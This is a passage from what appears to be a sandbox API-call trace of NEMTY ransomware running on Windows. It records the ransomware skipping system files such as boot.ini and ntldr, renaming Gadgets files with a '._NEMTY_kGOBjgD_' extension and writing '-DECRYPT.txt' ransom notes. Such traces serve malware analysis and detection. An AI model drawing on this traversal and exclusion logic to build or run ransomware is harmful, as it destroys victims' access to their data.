Flags=0x0, Size=0x80) returned 0x63402c8 [0125.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0125.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0125.716] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd346250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd346250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd346250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0125.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0125.717] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.718] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd346250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd346250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd346250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0125.718] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0125.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0125.718] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="...") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="windows") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="rsa") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="NTDETECT.COM") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ntldr") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="MSDOS.SYS") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="IO.SYS") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="boot.ini") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="boot.ini") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ntuser.dat") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="desktop.ini") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="CONFIG.SYS") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="RECYCLER") returned -1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0125.718] lstrcmpiW (lpString1="Currency.Gadget", lpString2="bootmgr") returned 1 [0125.719] lstrcmpiW (lpString1="Currency.Gadget", lpString2="programdata") returned -1 [0125.719] lstrcmpiW (lpString1="Currency.Gadget", lpString2="appdata") returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currency.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0125.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currency.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Currency.Gadget", lpUsedDefaultChar=0x0) returned 15 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currency.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0125.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currency.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Currency.Gadget", lpUsedDefaultChar=0x0) returned 15 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0125.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0125.719] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.776] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.776] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0125.777] CloseHandle (hObject=0x1e8) returned 1 [0125.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0125.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0125.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0125.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.778] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0125.778] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.778] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0125.779] CloseHandle (hObject=0x1e8) returned 1 [0125.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0125.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0125.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0125.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfe9bd1f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfe9bd1f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0125.780] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0125.780] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfe9bd1f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfe9bd1f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0125.780] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0125.780] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0125.780] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0125.780] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0125.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0125.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0125.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0125.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, 